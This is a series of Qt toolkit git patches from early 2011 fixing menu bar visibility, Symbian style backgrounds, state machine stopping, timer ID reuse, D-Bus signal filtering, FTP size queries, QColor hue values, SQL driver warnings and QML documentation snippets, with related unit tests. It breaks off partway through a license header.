    diff --git a/src/gui/widgets/qmenubar.cpp b/src/gui/widgets/qmenubar.cpp
    index dda5aba..5bfac9a 100644
    --- a/src/gui/widgets/qmenubar.cpp
    +++ b/src/gui/widgets/qmenubar.cpp
    @@ -1073,8 +1073,11 @@ void QMenuBar::paintEvent(QPaintEvent *e)
     void QMenuBar::setVisible(bool visible)
     {
     #if defined(Q_WS_MAC) || defined(Q_OS_WINCE) || defined(Q_WS_S60)
    -    if (isNativeMenuBar())
    +    if (isNativeMenuBar()) {
    +        if (!visible)
    +            QWidget::setVisible(false);
             return;
    +    }
     #endif
         QWidget::setVisible(visible);
     }
    -- 
    cgit v0.12
    
    
    From 54313b3ba81c276cf06c40c2420b1ff1f30e64c3 Mon Sep 17 00:00:00 2001
    From: Sami Merila 
    Date: Wed, 26 Jan 2011 09:05:19 +0200
    Subject: Application background is incorrect if app locked to landscape.
    
    If application orientation has been locked to landscape and application
    is started out while device orientation is portrait, QS60Style draws
    the QPalette::background like device would be in landscape. Style
    is incorrectly following device orientation, when it should follow
    application orientation.
    
    As a fix, style follows now application orientation. As a bonus,
    unnecessary fullscreen QPixmap creation is avoided when rotating the
    device.
    
    Task-number: QTBUG-16816
    Reviewed-by: Jani Hautakangas
    ---
     src/gui/styles/qs60style_s60.cpp | 8 ++++----
     1 file changed, 4 insertions(+), 4 deletions(-)
    
    diff --git a/src/gui/styles/qs60style_s60.cpp b/src/gui/styles/qs60style_s60.cpp
    index 04c40aa..605872e 100644
    --- a/src/gui/styles/qs60style_s60.cpp
    +++ b/src/gui/styles/qs60style_s60.cpp
    @@ -1378,12 +1378,13 @@ QPixmap QS60StylePrivate::frame(SkinFrameElements frame, const QSize &size, Skin
     QPixmap QS60StylePrivate::backgroundTexture()
     {
         bool createNewBackground = false;
    +    TRect applicationRect = (static_cast(S60->appUi())->ApplicationRect());
         if (!m_background) {
             createNewBackground = true;
         } else {
             //if background brush does not match screensize, re-create it
    -        if (m_background->width() != S60->screenWidthInPixels ||
    -            m_background->height() != S60->screenHeightInPixels) {
    +        if (m_background->width() != applicationRect.Width() ||
    +            m_background->height() != applicationRect.Height()) {
                 delete m_background;
                 createNewBackground = true;
             }
    @@ -1391,7 +1392,7 @@ QPixmap QS60StylePrivate::backgroundTexture()
     
         if (createNewBackground) {
             QPixmap background = part(QS60StyleEnums::SP_QsnBgScreen,
    -            QSize(S60->screenWidthInPixels, S60->screenHeightInPixels), 0, SkinElementFlags());
    +                QSize(applicationRect.Width(), applicationRect.Height()), 0, SkinElementFlags());
             m_background = new QPixmap(background);
         }
         return *m_background;
    @@ -1411,7 +1412,6 @@ QS60Style::QS60Style()
     void QS60StylePrivate::handleDynamicLayoutVariantSwitch()
     {
         clearCaches(QS60StylePrivate::CC_LayoutChange);
    -    setBackgroundTexture(qApp);
         setActiveLayout();
         refreshUI();
         foreach (QWidget *widget, QApplication::allWidgets())
    -- 
    cgit v0.12
    
    
    From 977ed996677e6156df1a89011d2aefb1c475af4c Mon Sep 17 00:00:00 2001
    From: Olivier Goffart 
    Date: Tue, 25 Jan 2011 18:24:58 +0100
    Subject: Add util/xkbdatagen/README
    
    Reviewed-by: Joao
    ---
     src/gui/kernel/qkeymapper_x11_p.cpp | 1 +
     util/xkbdatagen/README              | 1 +
     util/xkbdatagen/main.cpp            | 1 +
     3 files changed, 3 insertions(+)
     create mode 100644 util/xkbdatagen/README
    
    diff --git a/src/gui/kernel/qkeymapper_x11_p.cpp b/src/gui/kernel/qkeymapper_x11_p.cpp
    index 1fad4b0..2dbe1e7 100644
    --- a/src/gui/kernel/qkeymapper_x11_p.cpp
    +++ b/src/gui/kernel/qkeymapper_x11_p.cpp
    @@ -40,6 +40,7 @@
     ****************************************************************************/
     
     // This file is auto-generated, do not edit!
    +// (Generated using util/xkbdatagen)
     
     static struct {
         const char *layout;
    diff --git a/util/xkbdatagen/README b/util/xkbdatagen/README
    new file mode 100644
    index 0000000..bae68b8
    --- /dev/null
    +++ b/util/xkbdatagen/README
    @@ -0,0 +1 @@
    +program used to generate qkeymapper_x11_p.cpp
    diff --git a/util/xkbdatagen/main.cpp b/util/xkbdatagen/main.cpp
    index 3ec2f57..b8ececc 100644
    --- a/util/xkbdatagen/main.cpp
    +++ b/util/xkbdatagen/main.cpp
    @@ -456,6 +456,7 @@ int main(int argc, char **argv)
                "****************************************************************************/\n"
                "\n"
                "// This file is auto-generated, do not edit!\n"
    +           "// (Generated using util/xkbdatagen)\n"
                "\n");
     
         // data structure
    -- 
    cgit v0.12
    
    
    From 1c79a42d6b0f6c15a0472e0cde3742d0c504ead3 Mon Sep 17 00:00:00 2001
    From: Kent Hansen 
    Date: Wed, 26 Jan 2011 12:01:19 +0100
    Subject: Make sure QStateMachine stops when it's told to
    
    If QStateMachine::stop() was called by an event test or while
    transitioning to another state, the state machine could end up
    in an inconsistent internal state (stop==true, but the stopped()
    signal was not emitted). This also caused the machine to behave
    incorrectly if it was then restarted (it would immediately stop
    upon receiving the first event).
    
    Solution: Move the stop-handling after the event processing loop,
    so that it always takes precedence over other possible reasons
    for exiting the loop (event queues exhausted, final state
    entered).
    
    Task-number: QTBUG-16463
    Reviewed-by: Eskil Abrahamsen Blomfeldt
    ---
     src/corelib/statemachine/qstatemachine.cpp     |  7 ++-
     tests/auto/qstatemachine/tst_qstatemachine.cpp | 68 ++++++++++++++++++++++++++
     2 files changed, 73 insertions(+), 2 deletions(-)
    
    diff --git a/src/corelib/statemachine/qstatemachine.cpp b/src/corelib/statemachine/qstatemachine.cpp
    index 392c45d..b2af5ca 100644
    --- a/src/corelib/statemachine/qstatemachine.cpp
    +++ b/src/corelib/statemachine/qstatemachine.cpp
    @@ -1245,9 +1245,7 @@ void QStateMachinePrivate::_q_process()
     #endif
         while (processing) {
             if (stop) {
    -            stop = false;
                 processing = false;
    -            stopProcessingReason = Stopped;
                 break;
             }
             QSet enabledTransitions;
    @@ -1299,6 +1297,11 @@ void QStateMachinePrivate::_q_process()
     #ifdef QSTATEMACHINE_DEBUG
         qDebug() << q << ": finished the event processing loop";
     #endif
    +    if (stop) {
    +        stop = false;
    +        stopProcessingReason = Stopped;
    +    }
    +
         switch (stopProcessingReason) {
         case EventQueueEmpty:
             break;
    diff --git a/tests/auto/qstatemachine/tst_qstatemachine.cpp b/tests/auto/qstatemachine/tst_qstatemachine.cpp
    index a03657f..231cab0 100644
    --- a/tests/auto/qstatemachine/tst_qstatemachine.cpp
    +++ b/tests/auto/qstatemachine/tst_qstatemachine.cpp
    @@ -211,6 +211,9 @@ private slots:
         void postEventFromOtherThread();
         void eventFilterForApplication();
         void eventClassesExported();
    +    void stopInTransitionToFinalState();
    +    void stopInEventTest_data();
    +    void stopInEventTest();
     };
     
     tst_QStateMachine::tst_QStateMachine()
    @@ -4374,5 +4377,70 @@ void tst_QStateMachine::eventClassesExported()
         QStateMachine::SignalEvent *signalEvent = new QStateMachine::SignalEvent(0, 0, QList());
     }
     
    +void tst_QStateMachine::stopInTransitionToFinalState()
    +{
    +    QStateMachine machine;
    +    QState *s1 = new QState(&machine);
    +    QFinalState *s2 = new QFinalState(&machine);
    +    QAbstractTransition *t1 = s1->addTransition(s2);
    +    machine.setInitialState(s1);
    +
    +    QObject::connect(t1, SIGNAL(triggered()), &machine, SLOT(stop()));
    +    QSignalSpy stoppedSpy(&machine, SIGNAL(stopped()));
    +    QSignalSpy finishedSpy(&machine, SIGNAL(finished()));
    +    QSignalSpy s2EnteredSpy(s2, SIGNAL(entered()));
    +    machine.start();
    +
    +    // Stopping should take precedence over finished.
    +    QTRY_COMPARE(stoppedSpy.count(), 1);
    +    QCOMPARE(finishedSpy.count(), 0);
    +    QCOMPARE(s2EnteredSpy.count(), 1);
    +    QCOMPARE(machine.configuration().size(), 1);
    +    QVERIFY(machine.configuration().contains(s2));
    +}
    +
    +class StopInEventTestTransition : public QAbstractTransition
    +{
    +public:
    +    bool eventTest(QEvent *e)
    +    {
    +        if (e->type() == QEvent::User)
    +            machine()->stop();
    +        return false;
    +    }
    +    void onTransition(QEvent *)
    +    { }
    +};
    +
    +void tst_QStateMachine::stopInEventTest_data()
    +{
    +    QTest::addColumn("eventPriority");
    +    QTest::newRow("NormalPriority") << int(QStateMachine::NormalPriority);
    +    QTest::newRow("HighPriority") << int(QStateMachine::HighPriority);
    +}
    +
    +void tst_QStateMachine::stopInEventTest()
    +{
    +    QFETCH(int, eventPriority);
    +
    +    QStateMachine machine;
    +    QState *s1 = new QState(&machine);
    +    s1->addTransition(new StopInEventTestTransition());
    +    machine.setInitialState(s1);
    +
    +    QSignalSpy startedSpy(&machine, SIGNAL(started()));
    +    machine.start();
    +    QTRY_COMPARE(startedSpy.count(), 1);
    +
    +    QSignalSpy stoppedSpy(&machine, SIGNAL(stopped()));
    +    QSignalSpy finishedSpy(&machine, SIGNAL(finished()));
    +    machine.postEvent(new QEvent(QEvent::User), QStateMachine::EventPriority(eventPriority));
    +
    +    QTRY_COMPARE(stoppedSpy.count(), 1);
    +    QCOMPARE(finishedSpy.count(), 0);
    +    QCOMPARE(machine.configuration().size(), 1);
    +    QVERIFY(machine.configuration().contains(s1));
    +}
    +
     QTEST_MAIN(tst_QStateMachine)
     #include "tst_qstatemachine.moc"
    -- 
    cgit v0.12
    
    
    From 9e2179544157a28aadfbbeaaf787a4a29f9996a2 Mon Sep 17 00:00:00 2001
    From: Andy Shaw 
    Date: Wed, 26 Jan 2011 13:01:08 +0100
    Subject: Plug memory leak when using qt_mac_set_dock_menu() on Cocoa
    
    Task-number: QTBUG-16918
    Reviewed-by: Richard Moe Gustavsen
    ---
     src/gui/kernel/qt_cocoa_helpers_mac.mm | 1 +
     1 file changed, 1 insertion(+)
    
    diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm
    index 3820bfc..20c1ddb 100644
    --- a/src/gui/kernel/qt_cocoa_helpers_mac.mm
    +++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm
    @@ -1391,6 +1391,7 @@ void qt_mac_constructQIconFromIconRef(const IconRef icon, const IconRef overlayI
     
     void qt_mac_menu_collapseSeparators(void */*NSMenu **/ theMenu, bool collapse)
     {
    +    QMacCocoaAutoReleasePool pool;
         OSMenuRef menu = static_cast(theMenu);
         if (collapse) {
             bool previousIsSeparator = true; // setting to true kills all the separators placed at the top.
    -- 
    cgit v0.12
    
    
    From 208e8e87d338e8956f4dbb7243a7cc5ec6553f13 Mon Sep 17 00:00:00 2001
    From: Sami Merila 
    Date: Wed, 26 Jan 2011 14:27:35 +0200
    Subject: QComboBox popup incorrectly opened in Sym^3
    
    QCombobox popup opens into incorrect position in Sym^3. This is due
    to that there is a new layout in use, where softkeys are positioned
    at the bottom. The current implementation just checks if native stacon
    component is in use and if not, puts the popup to left/right border
    of the application area (depending on UI direction).
    
    Task-number: QTBUG-16886
    Reviewed-by: Miikka Heikkinen
    ---
     src/gui/widgets/qcombobox.cpp | 16 ++++++++++++----
     1 file changed, 12 insertions(+), 4 deletions(-)
    
    diff --git a/src/gui/widgets/qcombobox.cpp b/src/gui/widgets/qcombobox.cpp
    index 3e5f1b3..dbbf49a 100644
    --- a/src/gui/widgets/qcombobox.cpp
    +++ b/src/gui/widgets/qcombobox.cpp
    @@ -2476,10 +2476,18 @@ void QComboBox::showPopup()
                 listRect.setWidth(listRect.height());
                 //by default popup is centered on screen in landscape
                 listRect.moveCenter(screen.center());
    -            if (staConTopRect.IsEmpty() && AknLayoutUtils::CbaLocation() != AknLayoutUtils::EAknCbaLocationBottom) {
    -                // landscape without stacon, menu should be at the right
    -                (opt.direction == Qt::LeftToRight) ? listRect.setRight(screen.right()) :
    -                                                     listRect.setLeft(screen.left());
    +            if (staConTopRect.IsEmpty()) {
    +                TRect cbaRect = TRect();
    +                AknLayoutUtils::LayoutMetricsRect(AknLayoutUtils::EControlPane, cbaRect);
    +                AknLayoutUtils::TAknCbaLocation cbaLocation = AknLayoutUtils::CbaLocation();
    +                switch (cbaLocation) {
    +                case AknLayoutUtils::EAknCbaLocationRight:
    +                    listRect.setRight(screen.right());
    +                    break;
    +                case AknLayoutUtils::EAknCbaLocationLeft:
    +                    listRect.setLeft(screen.left());
    +                    break;
    +                }
                 }
             }
     #endif
    -- 
    cgit v0.12
    
    
    From d3bf6e227b353c10de3353b6072640dea59b52c0 Mon Sep 17 00:00:00 2001
    From: =?UTF-8?q?Thorbj=C3=B8rn=20Lindeijer?= 
    Date: Wed, 26 Jan 2011 12:42:49 +0100
    Subject: doc: Fixed a missing * in the docs for QML_DECLARE_TYPE
    
    It's actually equivalant to Q_DECLARE_METATYPE(TYPE *). This explains
    why it works on classes that use Q_DISABLE_COPY.
    
    Reviewed-by: David Boddie 
    ---
     doc/src/declarative/qtdeclarative.qdoc | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/doc/src/declarative/qtdeclarative.qdoc b/doc/src/declarative/qtdeclarative.qdoc
    index 05dac52..6affbf9 100644
    --- a/doc/src/declarative/qtdeclarative.qdoc
    +++ b/doc/src/declarative/qtdeclarative.qdoc
    @@ -56,7 +56,7 @@
       \macro QML_DECLARE_TYPE()
       \relates QDeclarativeEngine
     
    -  Equivalent to \c Q_DECLARE_METATYPE(TYPE) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty)
    +  Equivalent to \c Q_DECLARE_METATYPE(TYPE *) and \c Q_DECLARE_METATYPE(QDeclarativeListProperty)
     
       #include  to use this macro.
     */
    -- 
    cgit v0.12
    
    
    From 121e2b39043a4ffc6583f250aebb9a3a746076c1 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Mon, 13 Dec 2010 15:38:47 +0100
    Subject: Improve timer ID safety by using a serial counter per ID.
    
    The high bits of the counter are not used, so we store a serial
    counter there.
    
    This has nothing to do with the serial counter used in
    nextFreeTimerId, which is there for ABA protection.
    
    Reviewed-by: Bradley T. Hughes
    ---
     src/corelib/kernel/qabstracteventdispatcher.cpp | 30 ++++++++++++++++++++-----
     1 file changed, 24 insertions(+), 6 deletions(-)
    
    diff --git a/src/corelib/kernel/qabstracteventdispatcher.cpp b/src/corelib/kernel/qabstracteventdispatcher.cpp
    index e79f87a..cc08f092 100644
    --- a/src/corelib/kernel/qabstracteventdispatcher.cpp
    +++ b/src/corelib/kernel/qabstracteventdispatcher.cpp
    @@ -137,6 +137,12 @@ void QAbstractEventDispatcherPrivate::init()
     // free list). As an added protection, we use the cell to store an invalid
     // (negative) value that we can later check for integrity.
     //
    +// ABA prevention simply adds a value to 7 of the top 8 bits when resetting
    +// nextFreeTimerId.
    +//
    +// The extra code is the bucket allocation which allows us to start with a
    +// very small bucket size and grow as needed.
    +//
     // (continues below).
     int QAbstractEventDispatcherPrivate::allocateTimerId()
     {
    @@ -164,6 +170,8 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
             newTimerId = prepareNewValueWithSerialNumber(timerId, b[at]);
         } while (!nextFreeTimerId.testAndSetRelaxed(timerId, newTimerId));
     
    +    timerId &= TimerIdMask;
    +    timerId |= b[at] & TimerSerialMask;
         b[at] = -timerId;
     
         return timerId;
    @@ -174,12 +182,13 @@ int QAbstractEventDispatcherPrivate::allocateTimerId()
     //    X[timerId] = nextFreeTimerId;
     // then we update nextFreeTimerId to the timer we've just released
     //
    -// The extra code in allocateTimerId and releaseTimerId are ABA prevention
    -// and bucket memory. The buckets are simply to make sure we allocate only
    -// the necessary number of timers. See above.
    -//
     // ABA prevention simply adds a value to 7 of the top 8 bits when resetting
     // nextFreeTimerId.
    +//
    +// In addition to that, we update the same 7 bits in each entry in the bucket
    +// as a counter. That way, a timer ID allocated and released will always be
    +// returned with a different ID. This reduces the chances of timers being released
    +// erroneously by application code.
     void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
     {
         int which = timerId & TimerIdMask;
    @@ -187,12 +196,21 @@ void QAbstractEventDispatcherPrivate::releaseTimerId(int timerId)
         int at = bucketIndex(bucket, which);
         int *b = timerIds[bucket];
     
    -    Q_ASSERT(b[at] == -timerId);
    +#ifndef QT_NO_DEBUG
    +    // debug code
    +    Q_ASSERT_X(timerId == -b[at], "QAbstractEventDispatcher::releaseTimerId", "Timer ID was not found, fix application");
    +#else
    +    if (timerId != -b[at]) {
    +        // release code
    +        qWarning("Timer ID %d was not found, fix application", timerId);
    +        return;
    +    }
    +#endif
     
         int freeId, newTimerId;
         do {
             freeId = nextFreeTimerId;//.loadAcquire(); // ### FIXME Proper memory ordering semantics
    -        b[at] = freeId & TimerIdMask;
    +        b[at] = prepareNewValueWithSerialNumber(-b[at], freeId);
     
             newTimerId = prepareNewValueWithSerialNumber(freeId, timerId);
         } while (!nextFreeTimerId.testAndSetRelease(freeId, newTimerId));
    -- 
    cgit v0.12
    
    
    From 861333040c252fa0f53894b604f7cb768c085281 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Wed, 26 Jan 2011 14:06:11 +0100
    Subject: Check if the interpolators have already been deleted.
    
    During application destruction, the order in which static destructors
    is run is undetermined. So avoid a null-pointer dereference.
    
    Task-number: QTBUG-16855
    Reviewed-by: Robin Burchell
    Patch by task reporter
    ---
     src/corelib/animation/qvariantanimation.cpp | 13 +++++++++----
     1 file changed, 9 insertions(+), 4 deletions(-)
    
    diff --git a/src/corelib/animation/qvariantanimation.cpp b/src/corelib/animation/qvariantanimation.cpp
    index 212e85d..c76cb89 100644
    --- a/src/corelib/animation/qvariantanimation.cpp
    +++ b/src/corelib/animation/qvariantanimation.cpp
    @@ -431,12 +431,17 @@ void QVariantAnimation::registerInterpolator(QVariantAnimation::Interpolator fun
     {
         // will override any existing interpolators
         QInterpolatorVector *interpolators = registeredInterpolators();
    +    // When built on solaris with GCC, the destructors can be called
    +    // in such an order that we get here with interpolators == NULL,
    +    // to continue causes the app to crash on exit with a SEGV
    +    if (interpolators) {
     #ifndef QT_NO_THREAD
    -    QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
    +        QMutexLocker locker(QMutexPool::globalInstanceGet(interpolators));
     #endif
    -    if (int(interpolationType) >= interpolators->count())
    -        interpolators->resize(int(interpolationType) + 1);
    -    interpolators->replace(interpolationType, func);
    +        if (int(interpolationType) >= interpolators->count())
    +            interpolators->resize(int(interpolationType) + 1);
    +        interpolators->replace(interpolationType, func);
    +    }
     }
     
     
    -- 
    cgit v0.12
    
    
    From db3d9b67ac543ddfdac649bec2c1287982d50a4e Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Mon, 20 Dec 2010 19:38:11 +0100
    Subject: Change the D-Bus signal filter to return NOT_YET_HANDLED for signals
    
    ---
     src/dbus/qdbusintegrator.cpp | 5 +++--
     1 file changed, 3 insertions(+), 2 deletions(-)
    
    diff --git a/src/dbus/qdbusintegrator.cpp b/src/dbus/qdbusintegrator.cpp
    index adc3408..2e7b052 100644
    --- a/src/dbus/qdbusintegrator.cpp
    +++ b/src/dbus/qdbusintegrator.cpp
    @@ -558,8 +558,9 @@ bool QDBusConnectionPrivate::handleMessage(const QDBusMessage &amsg)
         switch (amsg.type()) {
         case QDBusMessage::SignalMessage:
             handleSignal(amsg);
    -        return true;
    -        break;
    +        // if there are any other filters in this DBusConnection,
    +        // let them see the signal too
    +        return false;
         case QDBusMessage::MethodCallMessage:
             handleObjectCall(amsg);
             return true;
    -- 
    cgit v0.12
    
    
    From 7012b6697df8472df5d772394edb0fbf7219da42 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 14 Jan 2011 20:15:37 +0100
    Subject: QNAM FTP: switch to binary mode before sending a SIZE command
    
    With some servers, SIZE is not allowed in ASCII mode or it may return
    different sizes. Since we transfer in binary anyway, better get the
    size in binary too.
    
    Reviewed-by: Peter Hartmann
    ---
     src/network/access/qnetworkaccessftpbackend.cpp | 4 +++-
     1 file changed, 3 insertions(+), 1 deletion(-)
    
    diff --git a/src/network/access/qnetworkaccessftpbackend.cpp b/src/network/access/qnetworkaccessftpbackend.cpp
    index 42d2955..b0303aa 100644
    --- a/src/network/access/qnetworkaccessftpbackend.cpp
    +++ b/src/network/access/qnetworkaccessftpbackend.cpp
    @@ -307,8 +307,10 @@ void QNetworkAccessFtpBackend::ftpDone()
                 // logged in successfully, send the stat requests (if supported)
                 QString command = url().path();
                 command.prepend(QLatin1String("%1 "));
    -            if (supportsSize)
    +            if (supportsSize) {
    +                ftp->rawCommand(QLatin1String("TYPE I"));
                     sizeId = ftp->rawCommand(command.arg(QLatin1String("SIZE"))); // get size
    +            }
                 if (supportsMdtm)
                     mdtmId = ftp->rawCommand(command.arg(QLatin1String("MDTM"))); // get modified time
                 if (!supportsSize && !supportsMdtm)
    -- 
    cgit v0.12
    
    
    From 88c1670a658d55257d50181d741afe562e44344b Mon Sep 17 00:00:00 2001
    From: =?UTF-8?q?Samuel=20R=C3=B8dal?= 
    Date: Wed, 26 Jan 2011 13:37:45 +0100
    Subject: Fixed hslHue / hslHueF returning the wrong value for achromatic
     QColors.
    
    Made toHsl() work the same way as toHsv(), ensuring the hue gets set to
    USHRT_MAX and not 0.
    
    Task-number: QTBUG-16530
    Reviewed-by: Eskil Abrahamsen Blomfeldt
    ---
     src/gui/painting/qcolor.cpp      |  2 +-
     tests/auto/qcolor/tst_qcolor.cpp | 10 ++++++++++
     2 files changed, 11 insertions(+), 1 deletion(-)
    
    diff --git a/src/gui/painting/qcolor.cpp b/src/gui/painting/qcolor.cpp
    index dea3a72..173fb71 100644
    --- a/src/gui/painting/qcolor.cpp
    +++ b/src/gui/painting/qcolor.cpp
    @@ -1781,7 +1781,7 @@ QColor QColor::toHsl() const
         color.ct.ahsl.lightness = qRound(lightness * USHRT_MAX);
         if (qFuzzyIsNull(delta)) {
             // achromatic case, hue is undefined
    -        color.ct.ahsl.hue = 0;
    +        color.ct.ahsl.hue = USHRT_MAX;
             color.ct.ahsl.saturation = 0;
         } else {
             // chromatic case
    diff --git a/tests/auto/qcolor/tst_qcolor.cpp b/tests/auto/qcolor/tst_qcolor.cpp
    index fcd608b..d42c26c 100644
    --- a/tests/auto/qcolor/tst_qcolor.cpp
    +++ b/tests/auto/qcolor/tst_qcolor.cpp
    @@ -148,6 +148,8 @@ private slots:
         void specConstructor_data();
         void specConstructor();
     
    +    void achromaticHslHue();
    +
     #ifdef Q_WS_X11
         void allowX11ColorNames();
         void setallowX11ColorNames();
    @@ -1459,6 +1461,14 @@ void tst_QColor::specConstructor()
         QCOMPARE(color.spec(), spec);
     }
     
    +void tst_QColor::achromaticHslHue()
    +{
    +    QColor color = Qt::black;
    +
    +    QColor hsl = color.toHsl();
    +    QCOMPARE(hsl.hslHue(), -1);
    +}
    +
     #ifdef Q_WS_X11
     void tst_QColor::allowX11ColorNames()
     {
    -- 
    cgit v0.12
    
    
    From b7de076b698a1e0a61c6b1597db860c88dd3ee86 Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 21 Jan 2011 23:04:33 +0100
    Subject: Fix warning in ODBC driver: passing NULL to non-pointer.
    
    Warning was:
    passing NULL to non-pointer argument 7 of 'SQLRETURN SQLGetDiagRecW(SQLSMALLINT, void*, SQLSMALLINT, SQLWCHAR*, SQLINTEGER*, SQLWCHAR*, SQLSMALLINT, SQLSMALLINT*)'
    ---
     src/sql/drivers/odbc/qsql_odbc.cpp | 4 ++--
     1 file changed, 2 insertions(+), 2 deletions(-)
    
    diff --git a/src/sql/drivers/odbc/qsql_odbc.cpp b/src/sql/drivers/odbc/qsql_odbc.cpp
    index c91aa54..8cff61b 100644
    --- a/src/sql/drivers/odbc/qsql_odbc.cpp
    +++ b/src/sql/drivers/odbc/qsql_odbc.cpp
    @@ -223,7 +223,7 @@ static QString qWarnODBCHandle(int handleType, SQLHANDLE handle, int *nativeCode
                               state_,
                               &nativeCode_,
                               0,
    -                          NULL,
    +                          0,
                               &msgLen);
             if ((r == SQL_SUCCESS || r == SQL_SUCCESS_WITH_INFO) && msgLen > 0)
                 description_.resize(msgLen+1);
    @@ -400,7 +400,7 @@ static QString qGetStringData(SQLHANDLE hStmt, int column, int colSize, bool uni
                     // colSize-1: remove 0 termination when there is more data to fetch
                     int rSize = (r == SQL_SUCCESS_WITH_INFO) ? colSize : lengthIndicator/sizeof(SQLTCHAR);
                         fieldVal += fromSQLTCHAR(buf, rSize);
    -                if (lengthIndicator < (unsigned int)colSize*sizeof(SQLTCHAR)) {
    +                if ((unsigned)lengthIndicator < colSize*sizeof(SQLTCHAR)) {
                         // workaround for Drivermanagers that don't return SQL_NO_DATA
                         break;
                     }
    -- 
    cgit v0.12
    
    
    From f34e2b62b03e35015b0eaa6b96dc982caf0f230d Mon Sep 17 00:00:00 2001
    From: Thiago Macieira 
    Date: Fri, 21 Jan 2011 23:05:37 +0100
    Subject: Fix warnings in PSQL driver: handle VersionUnknown in switch
    
    ---
     src/sql/drivers/psql/qsql_psql.cpp | 6 ++++++
     1 file changed, 6 insertions(+)
    
    diff --git a/src/sql/drivers/psql/qsql_psql.cpp b/src/sql/drivers/psql/qsql_psql.cpp
    index 0a7d5bf..a044c7f 100644
    --- a/src/sql/drivers/psql/qsql_psql.cpp
    +++ b/src/sql/drivers/psql/qsql_psql.cpp
    @@ -1021,6 +1021,9 @@ QSqlIndex QPSQLDriver::primaryIndex(const QString& tablename) const
                 stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
                        "pg_namespace where pg_namespace.nspname = '%1') AND ").arg(schema));
             break;
    +    case QPSQLDriver::VersionUnknown:
    +        qFatal("PSQL version is unknown");
    +        break;
         }
     
         i.exec(stmt.arg(tbl));
    @@ -1110,6 +1113,9 @@ QSqlRecord QPSQLDriver::record(const QString& tablename) const
                 stmt = stmt.arg(QString::fromLatin1("pg_class.relnamespace = (select oid from "
                        "pg_namespace where pg_namespace.nspname = '%1')").arg(schema));
             break;
    +    case QPSQLDriver::VersionUnknown:
    +        qFatal("PSQL version is unknown");
    +        break;
         }
     
         QSqlQuery query(createResult());
    -- 
    cgit v0.12
    
    
    From 78a7a02b3b85435bc28eb23e9210522467171e42 Mon Sep 17 00:00:00 2001
    From: Robert Griebl 
    Date: Wed, 26 Jan 2011 15:17:44 +0100
    Subject: Fixed a stupid typo
    
    ---
     examples/scroller/plot/main.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/examples/scroller/plot/main.cpp b/examples/scroller/plot/main.cpp
    index 6166505..1e7db64 100644
    --- a/examples/scroller/plot/main.cpp
    +++ b/examples/scroller/plot/main.cpp
    @@ -214,7 +214,7 @@ int main(int argc, char **argv)
         else
             mw.show();
     #if defined(Q_WS_MAC)
    -    mw->raise();
    +    mw.raise();
     #endif
         return a.exec();
     }
    -- 
    cgit v0.12
    
    
    From 20a3e23bb07a8c4b363ebeb9124d04db9fe3226e Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Wed, 26 Jan 2011 15:23:52 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     doc/src/declarative/qml-intro.qdoc                 |  2 +-
     .../declarative/propertyaction-sequential.qml      | 72 ++++++++++++++++++++++
     doc/src/snippets/declarative/propertyaction.qml    | 62 +++++++++----------
     src/declarative/util/qdeclarativeanimation.cpp     | 13 ++--
     src/declarative/util/qdeclarativefontloader.cpp    | 14 ++++-
     5 files changed, 119 insertions(+), 44 deletions(-)
     create mode 100644 doc/src/snippets/declarative/propertyaction-sequential.qml
    
    diff --git a/doc/src/declarative/qml-intro.qdoc b/doc/src/declarative/qml-intro.qdoc
    index 7b2d999..3f3e0e4 100644
    --- a/doc/src/declarative/qml-intro.qdoc
    +++ b/doc/src/declarative/qml-intro.qdoc
    @@ -61,7 +61,7 @@ The basic syntax of an \l{QML Elements}{element} is
     \qml
     SomeElement {
         id: myObject
    -    ... some other things here ...
    +    // ... some other things here ...
     }
     \endqml
     
    diff --git a/doc/src/snippets/declarative/propertyaction-sequential.qml b/doc/src/snippets/declarative/propertyaction-sequential.qml
    new file mode 100644
    index 0000000..a60b1f4
    --- /dev/null
    +++ b/doc/src/snippets/declarative/propertyaction-sequential.qml
    @@ -0,0 +1,72 @@
    +/****************************************************************************
    +**
    +** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
    +** All rights reserved.
    +** Contact: Nokia Corporation (qt-info@nokia.com)
    +**
    +** This file is part of the documentation of the Qt Toolkit.
    +**
    +** $QT_BEGIN_LICENSE:BSD$
    +** You may use this file under the terms of the BSD license as follows:
    +**
    +** "Redistribution and use in source and binary forms, with or without
    +** modification, are permitted provided that the following conditions are
    +** met:
    +**   * Redistributions of source code must retain the above copyright
    +**     notice, this list of conditions and the following disclaimer.
    +**   * Redistributions in binary form must reproduce the above copyright
    +**     notice, this list of conditions and the following disclaimer in
    +**     the documentation and/or other materials provided with the
    +**     distribution.
    +**   * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
    +**     the names of its contributors may be used to endorse or promote
    +**     products derived from this software without specific prior written
    +**     permission.
    +**
    +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
    +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
    +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
    +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
    +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
    +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
    +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
